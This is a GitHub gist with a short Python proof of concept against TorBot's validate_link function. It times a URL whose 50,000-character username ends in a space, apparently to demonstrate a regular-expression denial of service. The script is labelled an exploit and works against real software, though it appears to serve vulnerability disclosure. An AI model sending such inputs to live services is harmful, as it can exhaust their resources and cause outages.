Skip to content

Instantly share code, notes, and snippets.

@ikkebr
Created August 3, 2023 15:36
Show Gist options
  • Save ikkebr/6041055314f1cfb8e65b2a1acbaae12c to your computer and use it in GitHub Desktop.
Save ikkebr/6041055314f1cfb8e65b2a1acbaae12c to your computer and use it in GitHub Desktop.
from torbot.modules.validators import validate_link
import timeit
import re
import urllib.parse
i = 50000
username = "1"*i
def exploit():
extra = ' '
validate_link(f'https://{username+extra}:x@foo.com')
def no_exploit():
extra = ''
validate_link(f'https://{username+extra}:x@foo.com')
print("No Exploit", timeit.timeit("no_exploit()", setup="from __main__ import no_exploit", number=1))
print("Wt Exploit", timeit.timeit("exploit()", setup="from __main__ import exploit", number=1))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment